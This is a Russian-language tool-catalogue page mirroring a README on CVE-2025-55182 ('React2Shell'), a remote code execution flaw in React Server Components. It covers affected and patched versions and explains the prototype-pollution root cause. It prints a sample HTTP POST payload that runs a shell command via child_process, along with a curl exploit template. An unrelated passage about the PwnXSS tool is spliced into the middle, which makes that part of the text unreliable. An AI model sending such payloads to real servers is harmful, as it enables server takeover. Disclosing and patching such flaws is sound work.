Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — "Один сконструированный HTTP-запрос может скомпрометировать весь ваш сервер." — React Security Team, Dec 2025 | Kitploit
Инструменты/GitHubGitHub/logesh-git001/cve-2025-55182
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазведка угрозОбучение и ОбразованиеРеагирование на Инциденты
GitHublogesh-git001/cve-2025-55182

CVE-2025-55182

"Один сконструированный HTTP-запрос может скомпрометировать весь ваш сервер." — React Security Team, Dec 2025

Репозиторий
2105 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 — React2Shell

Критическое удаленное выполнение кода в React Server Components.

Серьезность: КРИТИЧЕСКАЯ | CVSS v3.1: 10.0 (Максимум) | Статус: Активно эксплуатируется


Что это такое?

React2Shell — это критическая уязвимость безопасности в React Server Components (RSC) — современной функции, позволяющей React выполнять части вашего веб-приложения на сервере вместо браузера.

Уязвимость позволяет любому злоумышленнику в интернете — без логина, без специального доступа и без предварительных знаний о вашей системе — отправить один вредоносный HTTP-запрос на ваш сервер и выполнить на нем любой код. Это означает, что они могут украсть данные, установить вредоносное ПО, заблокировать ваши файлы с помощью программ-вымогателей или полностью захватить контроль над сервером.

Представьте это так: на вашем сервере есть дверь, которая должна была открываться только для доверенных посетителей, но оказывается, что любой может войти — просто постучав определенным образом.


Краткая справка

СвойствоЗначение
Идентификатор CVECVE-2025-55182 (также называется React2Shell)
СерьезностьКритический — Удаленное выполнение кода (RCE)
Оценка CVSS v3.110.0 / 10.0 (максимально возможная)
Оценка CVSS v49.3 / 10.0
Тип уязвимостиCWE-502 — Десериализация недоверенных данных
Метод атакиОдин HTTP POST-запрос, без аутентификации
ОбнаруженоLachlan Davidson (исследователь безопасности)
Раскрыто3 декабря 2025 г.
Статус эксплойтаОбщедоступный эксплойт — активно используется злоумышленниками
Связанный CVECVE-2025-66478 (Next.js — подтвержденный дубликат)

Кто подвержен риску?

Уязвимые версии React```

react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0

### Пострадавшие фреймворки

| Фреймворк / Инструмент           | Затрагиваемая область                                     |
|----------------------------------|------------------------------------------------------------|
| **Next.js 15.x – 16.x**          | Только App Router — Pages Router **НЕ** затрагивается      |
| **React Router RSC**             | Только нестабильный / предварительный канал                |
| **Redwood SDK**                  | Только режим RSC                                           |
| **Waku**                         | Все версии с включенным RSC                                |
| **Expo**                         | Только предварительные сборки RSC                          |
| **Vite RSC Plugin**              | Все интеграции                                             |
| **Parcel RSC Plugin**            | Все интеграции                                             |
| **Любая пользовательская настройка RSC** | Любой сервер, использующий десериализацию RSC Flight       |

> ⚠️ **Важно:** Вы уязвимы, даже если не используете Server Actions или Server Functions явно — если в вашем приложении включены React Server Components.

> ✅ **Не затрагиваются:** Приложения, использующие только Pages Router, или приложения без серверного React вообще.

---

## Почему это так опасно?

Три причины делают React2Shell исключительно серьёзным:

1. **Не требуется аутентификация.** Любой пользователь интернета может попытаться провести эту атаку. Не нужно ни аккаунта, ни токена, ни предварительного доступа.

2. **Работает на установках по умолчанию.** Новое приложение Next.js, созданное с помощью `create-next-app` — без каких-либо настроек — сразу же уязвимо. Разработчикам не нужно делать ничего неправильного, чтобы оказаться уязвимыми.

3. **Почти 100% надёжность.** Исследователи безопасности подтвердили, что эксплойт срабатывает почти каждый раз на незаплаченных серверах.

---

## Как работает атака?

### Корневая причина — простыми словами

Когда ваш сервер React получает данные от клиента, он обрабатывает (десериализует) эти данные, чтобы понять, что делать дальше. Проблема в том, что React **никогда не проверяет, безопасны ли эти данные или легитимны** — он слепо доверяет всему, что приходит.

Злоумышленник использует это, отправляя специально подготовленные данные, которые перехватывают внутреннее поведение JavaScript на сервере, что в конечном итоге позволяет ему внедрить и выполнить свой собственный код.

### Техническое объяснение

Эксплойт использует технику, называемую **загрязнение прототипов (prototype pollution)**:

1. Злоумышленник отправляет специально сформированный HTTP POST-запрос на любую конечную точку RSC (не требуется специального URL).
2. Парсер протокола React Flight обрабатывает полезную нагрузку без какой-либо структурной проверки.
3. Вредоносная полезная нагрузка загрязняет `Object.prototype.then` — фундаментальный объект JavaScript, от которого наследуют все остальные объекты.
4. Это даёт злоумышленнику доступ к конструктору `Function` JavaScript.
5. Злоумышленник использует конструктор `Function` для выполнения произвольного кода от имени серверного процесса Node.js.```
Step 1 — Attacker sends crafted HTTP POST
         ↓
Step 2 — React deserializes payload blindly
         ↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
         ↓
Step 4 — Function constructor is accessed
         ↓
Step 5 — Attacker's code runs on the server
         ↓
Step 6 — Attacker has full server control

Упрощенная иллюстрация кода```js

// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;

// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight);  // Attack happens here

// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);

}

### Как выглядит атака```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain

{
  "status": "resolved_model",
  "$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
  "_formData.get": "$1:constructor:constructor"
}

If you are interested in modifying or contributing to the PwnXSS tool, you are welcome to do so. Please fork the repository, make your changes, and submit a pull request. We appreciate contributions that improve the tool's functionality, fix bugs, or enhance its documentation.

License

PwnXSS is released under the MIT License. See the LICENSE file for more details.

Disclaimer

This tool is intended for educational purposes and authorized security testing only. The developers are not responsible for any misuse or illegal activities conducted with this tool.```bash

Simplified cURL version of the exploit

curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'

> 🚫 **Юридическое предупреждение:** Не используйте это против любой системы, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения.

---

## Исправленные версии — Обновитесь сейчас

### Пакеты React RSC

| Пакет                        | Исправленная версия          |
|------------------------------|------------------------------|
| `react-server-dom-webpack`   | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel`    | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |
Скачать инструмент